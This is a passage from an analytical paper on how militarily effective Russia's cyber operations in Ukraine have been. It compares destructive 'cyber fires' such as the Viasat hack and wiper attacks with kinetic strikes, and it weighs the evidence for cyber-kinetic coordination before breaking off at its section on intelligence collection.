evolving information about Russia’s wartime cyber operations. A case in point was the February 24 disruption of the Viasat satellite communications network by Russian military intelligence—the marquee cyber event of the war so far. The hack has attracted enormous interest due to its timing (one hour before Russian troops crossed the border), clear military purpose (to degrade Ukrainian communications), and international spillover (disrupting connectivity in several European countries). Yet the Viasat hack’s ultimate military impact has remained murky and contested. Victor Zhora, a top Ukrainian cyber leader, initially said it caused “a really huge loss in communications in the very beginning of war,” which was widely understood to mean military communications specifically. But a Ukrainian spokeswoman claimed, and Zhora later affirmed, there was “no information that [the hack] worsened communications within Ukraine’s military.” This factual confusion has contributed to diametrically opposed expert assessments of the Viasat hack. Dmitri Alperovitch called it “perhaps the most strategically impactful cyber operation in wartime history,” while James Lewis said it “ultimately did not provide military advantage to Russia.” Even where analysts share a common set of facts about Russian hacking, they often seem to apply differing (or unclear) standards to judge military utility. Commentators of all stripes have framed Russia’s cyber efforts in binary terms: either as a failure or as a success. But analysts differ in where they set the dividing line between success and failure, causing people to talk past each other. On one side are cyber skeptics who often emphasize Russian hackers’ inability to paralyze Ukrainian decision-making and critical infrastructure via “shock and awe” tactics—a high bar indeed. On the other side are cyber proponents who tend to highlight any signs of coordination between Russian kinetic and cyber operations—no matter how inconsequential the results. Given these disparate yardsticks and shifting terms of debate, it isn’t always clear what analysts are arguing about, or whether they disagree at all. For example, Ciaran Martin expressed early cyber skepticism when he warned that “the cyber domain may influence the war at the margins, but it will not decide it.” Cattler and Black, both cyber proponents, came to a remarkably similar conclusion: “No single domain of operations has an independent, decisive effect on the course of war.” ## Methodology To advance the debate, this paper divides Russian cyber operations in Ukraine into two categories, each drawn from military concepts. The first category is cyber “fires.” U.S. military doctrine defines fires as the “use [of] available weapons and other systems to create a specific effect on a target.” Cyber fires, then, would be those cyber operations intended to disrupt, destroy, or manipulate data or systems. Cyber experts sometimes call these “effects operations” or “disruptive and destructive cyber attacks.” Here, the term cyber fires is meant to bring the military context into the foreground, and to invite comparisons (and contrasts) to kinetic fires. Many assessments of Russia’s cyber operations in Ukraine have focused primarily—or even exclusively—on what this paper calls cyber fires. Because of their obvious analogy to kinetic strikes, disruptive or destructive cyber attacks are often thought of as the major way for cyber forces to aid military campaigns. But militaries must do much more than carry out attacks, and cyber operations have other wartime uses. In U.S. doctrine, for example, fires are just one of seven so-called joint functions—the military tasks “common to joint operations at all levels of warfare.” The others are command and control, information, intelligence, movement and maneuver, protection, and sustainment. Although each of these has some applicability in cyberspace, this paper focuses on intelligence—particularly collection—as the second major category of interest. Intelligence collection is a well-known role for cyber operations during peacetime and gray zone conditions, but it has received less attention in the wartime context. Assessing Russia’s cyber operations and their effects on the larger war in Ukraine is no simple task. Analysts must rely on reports from the Ukrainian government, allied governments, cybersecurity companies, and journalists. Yet each of these sources has only partial knowledge of Russian cyber operations, many of which remain hidden. And when operations are discovered, their effects can be difficult to judge, either individually or cumulatively. There is little data, for example, on how Russia’s cyber campaigns may have influenced Ukrainian morale—helping either to grind it down or, alternatively, to fuel backlash against the invasion. Moreover, the visible effects of a cyber operation do not always indicate the perpetrator’s true intentions. For example, Russia’s cyber disruption of a telecommunications network could be a targeted effort to degrade Ukrainian command and control before a key battle. Or it might be part of broader attempts to isolate and immiserate the Ukrainian population. Or it may just be an accidental result of a botched intelligence collection operation. This paper sidesteps some of these issues by focusing on the actual, rather than intended, effects of Russian cyber operations. It assumes that many undetected Russian cyber operations exist but that they aren’t orders of magnitude more effective than known operations. It also looks for indirect evidence of hidden activity. For example, artillery firing patterns might reveal whether or not Russian forces have access to real-time, cyber-derived geolocations of Ukrainian positions. And the paper pairs bottom-up analysis (tactically assessing key Russian cyber operations) with top-down analysis (evaluating the totality of known cyber operations) to discern how cyber activities fit into Moscow’s operational plans and overall war effort. Another challenge is that political or commercial considerations inevitably shape what, when, and how information on Russian cyber operations is shared. The Ukrainian government, for example, has a strategic imperative to offer a relatively upbeat picture of the war so that Western partners continue their support and the Ukrainian people maintain their morale. Kyiv has therefore been reticent to fully disclose casualty figures and other combat losses; the same could be true of cyber incidents. At times, Ukrainian officials have made implausible assertions of cyber success. Meanwhile, Western tech companies have market incentives to portray their own cybersecurity support to Ukraine as highly successful and strategically essential. They may also lack the military expertise to place their findings in context. Microsoft, for example, has been accused of overstating the threat posed by some Russian cyber operations, as well as those operations’ significance to military history. Conversely, vendors victimized by Russia (like Viasat) may want to downplay the real-world effects to avoid embarrassment. Western governments and journalists have their own limitations and parochial interests. This paper attempts to mitigate source bias in several ways. First, it looks for corroboration from multiple independent sources, while highlighting when sources conflict or aren’t directly comparable. Second, the paper places more stock in clear-cut factual reports (such as descriptions of known intrusions) than in sources’ analytic characterizations (like claims that Russian cyber operations are coordinated with kinetic operations). Third, the paper is transparent about sourcing so that readers can draw their own conclusions as appropriate. Ultimately, a “cyber fog of war” continues to shroud even the most closely watched cyber incidents. A wider fog pervades the war as a whole, which has already undergone several distinct phases in just nine months—often developing in ways that surprise Western analysts (and others). Even so, there is merit in working with the best data and methods available to reduce uncertainty and sharpen understanding. Governments around the world will not wait to incorporate perceived lessons learned into ongoing updates of military cyber strategies, budgets, doctrines, and plans. Analysts should offer the best assessments currently possible while acknowledging information gaps and the need to reassess over time. This paper offers tentative insights representing one reasonable interpretation of fragmentary, conflicting, and evolving data. ## Fires Russia’s cyber fires in Ukraine can be categorized in a variety of ways. To understand their military significance, this section groups cyber fires by the type of Ukrainian system targeted—and therefore the potential benefit to Russian forces—rather than by technical characteristics. (Low-level disruptions, such as web defacements and distributed denial-of-service attacks, are generally excluded.) Later, this section evaluates the level of coordination between cyber and kinetic fires and the possibility of cumulative effects. ### Against Military Equipment Moscow’s most tangible military need in Ukraine is to suppress and overcome Ukrainian combat power, yet there are no publicly known cases of Russian cyber actors directly disrupting military equipment in the field. Ukraine began the war largely reliant on Soviet-era military equipment, much of which presumably had limited or no connectivity. As the war progressed, Ukraine acquired a large amount of modern, foreign-provided weapons and materiel. The U.S. government has long worried that American military equipment could be subject to wartime cyber attacks by Russia or others. Ukraine now uses some of this same equipment against Russian forces, providing a real-world test of these once theoretical concerns. Yet there has been a near-absence of credible claims that Russia has executed successful cyber fires against Ukrainian military systems. One possible exception: The Economist reported in November that unspecified Ukrainian military “networks” and/or “kit” had at some point been “penetrated [and] disrupted.” It wasn’t clear whether the affected systems were fielded military hardware—such as weapons, vehicles, radios, and intelligence platforms—or merely traditional computer networks operated by the Ukrainian military establishment. Regardless, “the visible effects” were described as “surprisingly limited.” Kyiv and its suppliers and allies might try to suppress evidence of any cyber disruptions of military equipment. According to the Economist, Ukraine has done just that. But if strong secrecy can be maintained over a long period, that suggests a smaller number of less consequential incidents. Conversely, Ukraine would probably struggle to conceal a large number of incidents with significant battlefield impact. Electronic warfare (EW) provides a case in point. Russia has sometimes used jamming and direction finding to great effect against Ukraine—for example, degrading Ukraine’s drone capabilities. The Ukrainian government may wish to withhold this information, but researchers and journalists have nonetheless documented it extensively. These same sources have failed to note any evidence of disruptive or destructive cyber attacks against Ukrainian military equipment. ### Against Communications Networks Although Ukrainian military hardware has not been directly impacted by any known Russian cyber operations, the communications systems used by Ukraine’s military, government, and civilian population have suffered several cyber disruptions. The most notable episode occurred just one hour before the invasion, when hackers working for the Main Directorate of the General Staff of the Armed Forces of the Russian Federation—commonly known as the GRU—perpetrated the so-called Viasat hack. Viasat is a U.S. company that owns a communications satellite called KA-SAT. It provides wholesale satellite broadband services to end users, while an Italy-based company called Skylogic operates and supports the ground infrastructure. According to Viasat, Russian hackers were able to cause “a partial interruption” of Tooway, “a single consumer-oriented partition” of Skylogic’s network that provides broadband service to European customers. Viasat described the hack as “multifaceted and deliberate.” The GRU cyber actors first launched a “targeted denial of service attack [that] made it difficult for many modems to remain online.” At the same time, they executed “a ground-based network intrusion . . . to gain remote access to the trusted management segment of the KA-SAT network.” After moving laterally to reach a sensitive part of the network, the Russians used native software to issue “destructive commands” to “a large number of residential modems simultaneously.” These commands “overwrote key data in flash memory on the modems, rendering the modems unable to access the network, but not permanently unusable.” The incident had widespread impact, disrupting internet service for “several thousand customers located in Ukraine and tens of thousands of other fixed broadband customers across Europe,” according to Viasat. Some equipment was quickly restored, while other modems reportedly remained offline more than two weeks later, forcing Viasat to ship tens of thousands of replacements. (Starlink terminals, whose satellite connectivity has for the most part proven resilient, began to arrive in Ukraine four days after the Viasat hack.) Though the bulk of the Viasat disruptions occurred outside Ukraine, Moscow’s primary intent was undoubtedly to degrade Ukrainian communications as Russian troops crossed the border and missiles began striking targets throughout the country. Ukraine’s military and police were publicly known to be Viasat customers, and Victor Zhora acknowledged that “of course, they were targeting the potential of [the] Ukrainian military forces first.” However, the hack’s ultimate military impact continues to be debated. Zhora initially said the Viasat hack caused “a really huge loss in communications in the very beginning of war,” which many interpreted to mean military communications specifically. But a spokeswoman for Zhora’s agency claimed there was “no information that [the hack] worsened communications within Ukraine’s military.” Zhora would later specify that Viasat provided only backup connectivity to the military, and that primary landline networks remained online during the invasion; therefore, the hack had no military impact. However, on-the-ground sources have painted a different picture of the state of military communications at the time. Multiple Ukrainian ground commanders who took part in the initial defense of Kyiv have said that Russia “completely jammed the Ukrainians’ communications and satellite networks” during the war’s opening days and weeks. This effectively grounded Ukrainian UAVs, cut off normal intelligence channels, and left officers “without a link to front-line soldiers.” These reports cited jamming, not hacking, and didn’t mention Viasat specifically. But Russia used both methods in concert during its invasion, and they can have complementary effects, which Ukrainian troops may not have distinguished in the heat of battle. Multiple field studies have confirmed that Russia’s jamming was quite effective during the assault on Kyiv, at least initially and despite causing some blowback on Russian forces’ own communications. Given the apparent fragility of Ukraine’s front-line communications links, it seems plausible that the loss of Viasat (whether as a primary communications system or a much-needed backup) contributed to the serious problems cited by Ukrainian commanders. The combination of Moscow’s traditional electronic warfare and the Viasat hack seemed to give Russian forces an edge in many early engagements. Russia’s ultimate failure to take Kyiv is irrelevant to this analysis; overall strategic failure does not imply that each tactical line of effort, taken on its own terms, added nothing to Russian efforts. The high-profile nature of the Viasat hack has obscured the fact that another major Ukrainian internet service provider, Triolan, was the victim of a simultaneous cyber attack. Little is known about this event. Triolan was hacked again on March 9, with the attackers reportedly forcing “key nodes of the network” to perform a factory reset. Both incidents led to significant service disruptions lasting perhaps one or two days each. Later in March, the state-owned Ukrtelecom—the country’s largest terrestrial telecommunications provider—suffered what it described as “a massive hostile cyberattack” by Russia. Again, details are elusive; Ukrtelecom said that it temporarily “restricted the services for most private users and business customers” in order “to secure the network services for Ukrainian military and critical infrastructure users.” The net result of the cyber attack and the remedial measures was an 85 percent loss of connectivity, though service was largely restored by the next day. Kyiv said that military operations were unaffected. To put these few cyber fires in context, Ukrainians have experienced dozens of significant internet service disruptions due to physical attacks on telecoms equipment and power supplies. Russian cyber fires thus amount to an occasional and secondary threat to Ukrainian connectivity. Overall, Ukraine’s telecommunications networks—while somewhat degraded from prewar baselines—have proven remarkably resilient. Key structural factors include the decentralization of corporate ownership and technical architecture, the agility of engineers, the industry’s collaborative wartime spirit, prior investments in cybersecurity, and the availability of supplemental satellite networks like Starlink. ### Against Other Computer Networks Beyond communications networks, Russian cyber fires have targeted a broad range of other government and commercial networks in Ukraine. The most notable incidents have been destructive cyber attacks that delete data and thereby render systems unable to function, which Victor Zhora described as “the most efficient scenario to bring impact to data, to infrastructures, to services.” Moscow has carried out an enormous number of these attacks, particularly at the outset of the war. As of late June, Microsoft had detected “eight distinct malware programs—some wipers and some other forms of destructive malware—against 48 different Ukrainian agencies and enterprises.” The Ukrainian government reported a similar number: in the first four months of war, fifty-six cyber operations impacted the “availability” of Ukrainian systems (that is, they had destructive or disruptive effects). Although cyber attacks are difficult to meaningfully quantify and compare in a like-for-like fashion, such figures seem extremely high by any historical standard. For context, the cyber intelligence firm Talos has highlighted just eight important wiper incidents (all state-sponsored) globally from 2012 to 2018. Talos’s numbers, although incomplete, are likely the right order of magnitude. This suggests that Russia has performed an unprecedented series of destructive cyber attacks against Ukraine—perhaps the largest series of discrete attacks ever conducted, and possibly more than Moscow had ever carried out, against all targets, in its entire previous history. Citing Russia’s attacks on Ukraine, CrowdStrike called 2022 “the most active year yet for wipers.” The remarkable scale of Russia’s cyber fires in Ukraine is further indicated by the large number of destructive malware variants it deployed. Russia used eight to ten unique families of destructive malware in the first few months of the war, depending on how these are counted. This is a significant portion of all such malware ever known to exist. Lists of wipers compiled by researchers have cited anywhere from six to eighteen noteworthy variants deployed by all actors between 2012 and early 2022. NATO’s Cattler and Black noted that, on February 24 alone, Russia “successfully deployed more destructive malware . . . than the rest of the world’s cyberpowers combined typically use in a given year.” By all measures, Moscow invested extraordinary effort and technical resources to execute wartime cyber fires against targets such as “Ukrainian government, IT, energy, and financial organizations.” However, there is little public information about the impact of these events. Yurii Shchyhol, the director of Ukraine’s cybersecurity agency, claimed in July that “none of the cyberattacks that were carried out in the past four months of this invasion has allowed the enemy to destroy any databases or cause any private data leakage.” In contrast, Microsoft stated that Russia “permanently destroyed files in hundreds of systems across dozens of organizations in Ukraine,” which “at times . . . degraded the functions of the targeted organizations.” Even so, Microsoft said the victims suffered only “limited operational impact.” Most of the affected organizations have not been disclosed and there are few public details about how they weathered these incidents. Moscow’s destructive cyber fires in Ukraine were remarkable not only for their total number, but also for their massive concentration at the war’s outset and their steep drop-off afterward. The day before the invasion, hundreds of Ukrainian “systems”—spread across a smaller number of organizations—were targeted, according to Microsoft. Overall, twenty-two organizations faced destructive Russian cyber attacks in the first week of the war. But in the five weeks that followed, Microsoft detected only about three attacks per week on average. By mid-April the figure would drop to just one attack per week, a level that persisted through late June. Microsoft noted “little to no wiper activity” in August and September, followed by a small “spike” in October. Data from Mandiant and the CyberPeace Institute show broadly similar patterns using different methodologies and information sources. Whereas Microsoft tallied the number of organizations attacked, Mandiant has tracked the number of destructive attacks (a single attack may affect multiple organizations). Mandiant found five attacks in the war’s first week. After that, attacks fell to less than one per week, on average, through October. Notably, Mandiant identified just one attack in the four-month period from June to September, before Russia resumed its destructive attacks in October. The CyberPeace Institute, which compiles public information about cyber operations affecting civilians, also reported a large cluster of destructive attacks in the first few weeks. It documented no attacks from April through October. This story of destructive cyber fires—a huge surge, rapid decline, and long plateau—mirrors official accounts. One month into the war, Victor Zhora was already saying that “we do not witness such serious activities as we did at the beginning of the year.” In July, Shchyhol described a monthslong “relative lull in the number and quality of cyberattacks of our enemy.” Meanwhile, the number of novel malware variants dropped alongside the number of attacks. Microsoft found that Russia debuted four distinct variants in just the first week of the war, whereas no new variant emerged between early April and late June, the most recent company data. Mandiant likewise saw a spate of new destructive malware in the war’s first week, followed by a trickle over the next two months, and then no new malware from May through October. The decline of new malware does not inherently mean a lessening of operational effects. But it is one of several signs that Russian cyber forces faced growing constraints as the war progressed and initial stockpiles of technical resources were expended. Russian hackers have shifted to more quick-and-dirty methods, according to Mandiant, leading to more mistakes. Zhora said in October that Russian cyber attacks had become much less sophisticated since April, devolving into “opportunistic behavior” with “no particular strategy.” The military impact of Russia’s individual destructive cyber fires is difficult to judge without victim-level data. Based on the number of attacks alone and Microsoft’s high-level characterizations of their results, it is plausible that the early salvo contributed somewhat to Ukraine’s initial shock and confusion immediately after the invasion. But within several weeks at most, Russian destructive cyber fires likely receded into the war’s background. To be sure, even one state-sponsored data deletion attack per week would be remarkable under peacetime or gray zone circumstances (in any country). But it still seems trivial in the context of a major war. Russian forces have at times launched hundreds of missiles and thousands of artillery rounds per week, inflicting large tangible losses on Ukraine’s military forces, civilian population, and infrastructure. There is little reason to think that the dribble of destructive cyber attacks registers on such a scale. To the extent that Ukraine has taken reasonable steps in the face of these attacks—backing up the essential data of critical systems, for example—it is hard to see how Russian cyber fires move Moscow much closer to achieving its military objectives. ### Against Industrial Control Systems Although most Russian cyber fires have targeted digital networks, some have attempted to manipulate or damage physical infrastructure operated by industrial control systems. To date, however, there is no evidence that such efforts have succeeded. On April 8, the GRU’s notorious Unit 74455 sought to disrupt electricity in an unnamed Ukrainian region by deploying malware inside a compromised utility network. This was the culmination of a network intrusion that began in February or possibly earlier. The payload was a more sophisticated adaptation of malware previously used by Unit 74455 in 2016 to interrupt electric power in part of Ukraine. (The unit had done much the same in 2015 using different malware.) Once deployed, the new malware was designed to make service difficult to restore. Zhora said the hackers “planned to cut off 1.5 to 2 million Ukrainians from their power supply.” Yet this time, Ukraine’s national Computer Emergency Response Team and the Slovakia-headquartered cyber firm ESET detected and stopped the attack in progress. Ukraine initially circulated a document saying the hackers had been able to temporarily turn off nine substations, but Zhora later called this erroneous preliminary information and said that no power disruption occurred. A second failed cyber attack on electric power—discussed in greater detail below—came to light on July 1. Compared to 2015–2016, Moscow’s wartime efforts to disrupt Ukrainian industrial control systems show some technical growth but fewer actual results so far. Meanwhile, Russian kinetic strikes on power infrastructure have caused serious problems throughout the country during the entire length of the war. Periodic electricity blackouts have affected hundreds of thousands to millions of Ukrainians and lasted hours to weeks. The impact on Ukraine’s military is unknown, but the civilian suffering has ranged from manageable to severe. On November 4, for example, President Volodymyr Zelenskyy said that 4.5 million Ukrainians had lost power due to a recent spate of Russian kinetic attacks on power supplies. ### Coordination of Cyber and Kinetic Fires Since the outset of the war, analysts have debated whether Russia’s cyber fires in Ukraine have been coordinated with kinetic operations to achieve unified military objectives. The strongest evidence is hiding in plain sight: in the twenty-four hours before its invasion, Moscow carried out its most numerous and damaging cyber fires, including the Viasat hack and a massive salvo of destructive operations. These attacks would have required significant preplanning and operational coordination to align with the ground and air assault. But how much did Russia’s early scheme of maneuver benefit from this cyber-kinetic coordination? Too little is known about the effects of Russian cyber fires to make a very confident assessment. The Viasat hack, discussed earlier, is the most plausible case of Russian cyber forces contributing to combined arms operations. The hack was near-simultaneous with Russia’s first kinetic attacks and may well have aided them—worsening what Kyiv’s front-line ground commanders have called a communications-denied environment that impeded Ukrainian defenses around the capital. It was therefore not outlandish for Dmitri Alperovitch to call the Viasat hack “perhaps the most strategically impactful cyber operation in wartime history,” though some qualification and context is needed. Cyber intelligence operations, discussed later, have been part of multiple modern wars and may outstrip cyber fires in strategic importance. For example, U.S. intelligence agencies and military units have used a blend of cyber, signals intelligence (SIGINT), and EW capabilities to geolocate and kill hundreds or thousands of individuals in Iraq, Afghanistan, and elsewhere. If we consider only cyber fires, very few have been conducted in wartime. The most well-known example is a gray zone incident: in 2007, Israel’s cyber-enabled disruption of Syrian air defenses helped Israeli jets destroy a clandestine nuclear site. To cyber skeptics, then, Alperovitch’s superlative assessment might be taken as a backhanded compliment—a confirmation that wartime cyber operations (or at least, cyber fires) have only modest value. Since Russia’s initial surge of cyber fires, evidence of cyber-kinetic fires coordination has been more fragmentary, and the handful of proposed cases seem less militarily consequential. The coordination of cyber and kinetic fires could take several forms. To begin with, Microsoft says that “on several occasions the Russian military has coupled its cyberattacks with conventional weapons aimed at the same targets.” Microsoft analogized this to “the combination of naval and ground forces long used in an amphibious invasion.” Amphibious assaults are highly complex, extended endeavors; a simpler and clearer analogy might be close air support. Just as air assets can be tasked to strike the same tactical targets that ground forces are engaging, so can cyber and kinetic forces. According to Microsoft, Russia has sometimes used “cyberattacks to disable computer networks at a target before seeking to overrun it with ground troops or aerial or missile attacks.” However, the cited examples were inapt. Microsoft highlighted March 2, when it “identified a Russian group moving laterally on [a] nuclear power company’s computer network. The next day, the Russian military attacked and occupied the company’s largest nuclear power plant.” Around the same time, Russia “compromised a government computer network in Vinnytsia and two days later launched eight cruise missiles at the city’s airport.” But neither of these “cyberattacks” apparently resulted in any disabling effects, precluding them from classification as successful cyber fires. If they were indeed coordinated with physical attacks, they either failed to achieve their intended effects or they were meant as cyber intelligence operations in support of kinetic targeting (discussed later in the paper). A better example emerged on July 1, with Russian kinetic and cyber fires purportedly aiming at the same target. That day, a Ukrainian power company called DTEK said that Russia had unsuccessfully attempted a cyber attack on the company to “destabilise the technological processes at power generating and distribution companies.” The Russian hacker group XakNet, which claims semi-official ties to Moscow, took responsibility. At the same time, Russian forces were carrying out artillery and/or missile attacks on DTEK’s Kryvorizka thermal power plant in Kryvyi Rih, Dnipropetrovsk Oblast. DTEK and Victor Zhora both emphasized this connection, with the latter explicitly calling it a case of cyber-kinetic coordination. That is one possibility, but additional context suggests that other interpretations are equally if not more compelling. The Kryvorizka plant is one of eight thermal power plants that DTEK operates across various regions of Ukraine. DTEK also has numerous other electricity generation, distribution, and related facilities throughout the country. Although Russian troops were clearly firing on Kryvorizka, the cyber attack has not been described as targeting Kryvorizka specifically; it could have been aimed at another DTEK facility or none in particular. Moreover, Russia reportedly shelled Kryvorizka multiple times in the weeks and months before and after the cyber attack—including on April 27, July 18, and August 2. And at the time of the cyber attack, Russia was launching missile, artillery, and air strikes not only at Kryvorizka but also across Dnipropetrovsk and three neighboring oblasts, among other locations. Russian kinetic attacks on Ukrainian power infrastructure have been a routine feature of the war. All this suggests the possibility of a spurious correlation between the cyber and kinetic fires on July 1. Indeed, DTEK noted that Russian cyber activities against the company began to “spike” months earlier, in March, following the company’s public support for a boycott of Russian energy. DTEK argued that Russia developed a “special focus” on it due to “the firm and proactive position taken by the company’s shareholder Rinat Akhmetov with regards to Russia’s barbaric war against Ukraine and massive assistance [DTEK] provided to the Ukrainian army and support to Ukrainians.” This political motive for the cyber attack, if accurate, would undercut the notion that XakNet’s main purpose was to support the tactical aims of Russian troops in the field. Microsoft acknowledged that it has been “been rare from our perspective” for “computer network attacks” to “immediately precede[] a military attack.” It therefore outlined a second, looser category of cyber-kinetic fires integration: threat activity targeting “the same sectors or geographic locations around the same time as kinetic military events.” As an example, Microsoft cited a destructive cyber attack by suspected Russian actors “against a major broadcasting company on March 1, the same day that the Russian military announced its intention to destroy ‘disinformation’ targets in Ukraine and directed a missile strike against a TV tower in Kyiv.” While such cases might indicate “active coordinati[on],” Microsoft rightly observed that they could also mean that “computer network operators and physical forces are just independently pursuing a common set of priorities.” Regardless, the March 1 case implies some unity of operational objective between cyber and kinetic fires. It raises two further questions: How common is this phenomenon, and how valuable is it for Russian military operations? The Economist reported in November that “American, European and Ukrainian officials all say that there are many examples of Russian cyber-attacks synchronised with physical attacks.” However, very few such examples have been publicly described, and many—if not most—are uncompelling. For example, Microsoft argued that Russia’s late-October barrage of missile and drone strikes on Ukrainian energy and other civilian infrastructure was “accompanied by [destructive GRU] cyberattacks on the same sectors. . . . The repeated temporal, sectoral, and geographic association of these cyberattacks by Russian military intelligence with corresponding military kinetic attacks indicate a shared set of operational priorities and provides strong circumstantial evidence that the efforts are coordinated.” In support, Microsoft cited five cyber incidents: one targeting Ukrainian and Polish transportation and logistics companies, and four targeting other “critical infrastructure.” Yet none of these incidents apparently targeted energy infrastructure, which was the primary focus of Russia’s October missile barrage. To be sure, it is still notable that Russia in October resumed its destructive cyber fires (after a lengthy quiet period) while also greatly intensifying its missile and drone strikes. This may reflect some high-level alignment, even if close tactical coordination remains unproven. The very small number of reported examples suggests that it may not be particularly common for Russian cyber and kinetic fires to strike similar targets at similar times. Although the dearth of examples could reflect information gaps, it seems noteworthy that Microsoft—which has spent hundreds of millions of dollars monitoring and securing Ukrainian networks, and has participated actively in public debates about the war’s cyber dimensions—has only catalogued a few suggestive incidents. In addition to these specific incidents, Microsoft has proposed a general geographic correlation between Russian cyber operations and kinetic attacks. Combining proprietary cyber data with third-party information on kinetic activities, Microsoft found that “high concentrations of malicious network activity,” though not necessarily fires, “frequently overlapped with high-intensity fighting during the first six-plus weeks of the invasion.” However, the correlation was observed at the level of oblast, or province. Ukraine’s oblasts average more than 9,000 square miles in size—probably too large to make useful judgments of this kind. Furthermore, the degree of correlation was quite limited. Cyber and kinetic activity matched (that is, “high-high” or “low-low”) in fifteen oblasts, whereas it did not match (that is, “high-low” or “low-high”) in nine oblasts. ### Effectiveness of Integrated Cyber-Kinetic Fires Russia has probably achieved some unity of purpose with certain cyber and kinetic fires, primarily through loose alignment and more rarely via close coordination. But it is essential to ask, once again, what military benefits this has yielded. The question of military gains must continually be brought back to the foreground in any strategic analysis of Russia’s wartime cyber operations. Consider another case highlighted by Microsoft: an unspecified “Dnipro government agency [was] targeted with [a] destructive implant” on March 11, the same day that the “first direct Russian strikes hit Dnipro government buildings, among others.” Further information about the cyber attack is not publicly available, but Ukraine’s State Emergency Service announced that three Russian airstrikes that day landed near a preschool and an apartment building and struck a shoe factory (none of these were described as government buildings). One person died. At this stage of the war, Dnipro had been largely spared from Russian attack, despite some unverified earlier reports of limited strikes on noncivilian areas. The simultaneous occurrence of a destructive cyber attack and the first major Russian strikes on the same city is strong evidence of cyber-kinetic fires coordination—perhaps the best candidate since February 24. It could be an example of what Max Smeets has called “pooled interdependence,” where cyber and kinetic actions “may not directly depend on each other, [but] each provides individual contributions to the same goal.” The military significance of these coordinated fires must be assessed in the context of Russia’s campaign plans. In the preceding days, Russia had been observed massing troops west of nearby Kharkiv, for the likely purpose of “launch[ing] a wide offensive southwest” to “encircle” and assault Dnipro and other cities in the area. Russia may therefore have intended to stoke fear and panic by striking civilian targets in Dnipro, setting the psychological conditions for its planned siege of the city. Lacking evidence of the cyber attack’s effects, we can explore plausible best-case scenarios for Russia. The cyber attack may perhaps have added to a sense of unease among city officials or residents, especially if it succeeded in deleting data. However, the death and physical destruction caused by the missile strikes would presumably have had far greater psychological impact. Given that the cyber attack targeted a government agency, it could conceivably have hindered local officials’ response to the missiles—provided that the affected agency was related to the strike targets, or was involved in emergency services, public communication, or the like. The impact of such a cyber attack would depend on its sophistication as well as the digital and operational resilience of the targeted agency. An extreme best-case scenario for Russian cyber forces would posit that the missile wounded but did not initially kill the Ukrainian victim, and the cyber attack then delayed emergency medical services long enough to cause death. (A direct link between a cyber attack and a fatal delay in medical care has been alleged only twice, globally, and not yet proven.) Speculatively, then, the cyber attack had somewhere between zero and marginal military benefits for Russian operations in the area. This operational-level assessment can, in turn, be translated to the strategic level by considering the relevance of Dnipro to Moscow’s larger war efforts. Although Russia looked poised to attack the city on March 11, it lacked the combat power to actually do so, according to the Institute for the Study of War. The relevant Russian forces were bogged down by “the protracted siege of Mariupol” and faced “the continued ability of Ukrainian forces to carry out successful local counterattacks” near Kharkiv. By the time Russia took Mariupol, it had missed the window to attack Dnipro. Moscow’s push into central Ukraine was proving unsustainable and its overall war plan had clearly failed. Within weeks, Russian leaders would finally accept this reality and shift to a near-exclusive focus on eastern Ukraine. In the months since, Dnipro has not again been threatened by Russian troops, though it has faced intermittent missile strikes on civilian and defense-related infrastructure. Ultimately, then, the March 11 cyber-kinetic fires on Dnipro were largely wasted efforts. This case study shows the complexity of assessing the military impact of cyber-kinetic coordination. Even tactically effective and operationally well-conceived combined-fires actions can only contribute to strategic success if a sensible overall war plan is in place. ### Cumulative Impacts Russia’s ability to coordinate cyber and kinetic fires, although important, is not necessarily determinative. Fires can have military effects even when they are poorly or loosely coordinated across weapon systems and domains. For example, Moscow has seized and held a fair amount of Ukrainian territory despite serious, persistent problems in traditional combined arms integration. The Russian way of war is quite imprecise: in Ukraine, Russian forces have generally sought to disrupt and demoralize Ukraine’s society, government, and armed forces. Their cruder and more diffuse methods have included random attacks on civilians in Russia-controlled areas, rape as a tool of war, and terroristic missile strikes on civilian areas of cities far from the front lines. Russian tactics have only become more indiscriminate as the war has dragged on. Yet this does not mean they have had no military effect. By the same token, Russia’s large-scale cyber fires should be assessed for their possible cumulative impact in Ukraine, notwithstanding their limited coordination with kinetic operations. Frameworks for assessing the battle damage of individual cyber operations remain immature; understanding cumulative impact is even harder. Still, rough orders of magnitude may be discernible and can have utility for analysts and policymakers. One approach is to loosely compare the total effects of cyber and kinetic fires, based on available quantitative and qualitative metrics. This can be done from two complementary perspectives. Cyber fires can be understood as direct equivalents of kinetic fires, or alternatively, as serving distinctive functions based on their unique features. Table 2 directly compares some of the total effects of Russian cyber and kinetic fires against similar classes of Ukrainian targets. This exercise has obvious limitations, both empirical and conceptual. Missile strikes are not the same as data deletion attacks, and the various military effects of each haven’t been fully documented in Ukraine. More fundamentally, high numbers of attacks, body counts, and damaged targets do not equate to successful warfighting. Even so, it is revealing that, during the first four months of the war, Russia carried out 3,654 missile strikes but only about fifty destructive cyber attacks, according to Ukrainian and Microsoft data. And it is fair to surmise that each missile strike, on average, had greater military benefits for Russia than each destructive cyber attack. One can imagine possible counterexamples—such as a destructive cyber attack that paralyzes Ukrainian rail shipments and thereby delays the delivery of critical supplies to a contested front—but there is no evidence of any (except possibly the Viasat hack). Rather, Microsoft has reported “limited operational impact” from data deletions, whereas missile strikes have destroyed many strategic Ukrainian assets such as military bases, heavy weapons plants, and port, rail, and air infrastructure, in addition to civilian targets. ### Conclusion Overall, cyber fires have not added meaningfully to Russia’s kinetic firepower, nor have they performed special functions that kinetic weapons could not. Rather than serving in a niche role, many Russian cyber fires have targeted the same categories of Ukrainian systems also prosecuted by kinetic weapons—such as communications, electricity, and transportation infrastructure. For almost all these target categories, kinetic fires seem to have caused multiple orders of magnitude more damage. Although cyber fires potentially offer unique benefits in certain circumstances, these benefits have not been realized in Russia’s war against Ukraine. Moscow’s military strategists quickly discarded any aim of reducing physical or collateral damage or creating reversible effects in Ukraine, and Russia has gained little deniability or geographic reach from cyber operations. Likewise, Russian cyber fires have not achieved any systemic effects, and they have arguably been less cost-effective—or at least more capacity-constrained—than kinetic fires. ## Intelligence Collection Compared to their focus on cyber fires, commentators have paid much less attention to whether and how cyber intelligence collection may be supporting the Russian war effort. For example, Lennart Maschmeyer and Myriam Dunn Cavelty argued that Russia has not carried out “cyberwar” in Ukraine, equating this concept with “high-level, destructive cyberattack[s] on civilian critical infrastructures.” While acknowledging that “cyber operations . . . remain useful for stealthy intelligence operations,” Maschmeyer and Cavelty nevertheless treated intelligence collection as something outside of “cyberwar.” Similarly, Chris Krebs wrote that “Moscow’s proven cyber capabilities took a back seat in the overall [Russian war] strategy.” He based this broad assessment on a narrow look at Russia’s disruptive and destructive 